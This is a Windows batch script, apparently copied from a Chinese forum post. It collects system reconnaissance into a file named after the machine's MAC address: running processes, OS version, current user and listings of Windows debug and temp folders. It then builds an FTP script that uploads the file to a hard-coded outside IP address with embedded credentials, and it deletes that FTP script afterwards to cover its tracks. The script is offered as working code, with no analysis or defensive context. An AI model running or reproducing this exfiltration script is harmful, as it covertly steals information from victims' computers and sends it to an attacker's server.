@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
for /f %%a in ('wmic nicconfig where^(ipenabled^=true^) get index^|findstr [0-99]') do set i=%%a
for /f %%a in ('wmic nicconfig where^(index^=%i%^) get macaddress^|findstr [0-99]') do set a=%%a &set a=!a::=!
tasklist>"c:\windows\debug\%a%.txt"
ver>>"c:\windows\debug\%a%.txt"
whoami>>"c:\windows\debug\%a%.txt"
dir c:\windows\debug>>"c:\windows\debug\%a%.txt"
dir c:\windows\temp>>"c:\windows\debug\%a%.txt"
@echo off
echo open 199.168.100.74>ftp.up
echo up>>ftp.up
echo 1433>> ftp.up
Echo binary>>ftp.up
Echo put "c:\windows\debug\*.txt">> ftp.up
Echo bye>>ftp.up
FTP -s:ftp.up
del ftp.up /q
exit
评论
直达楼层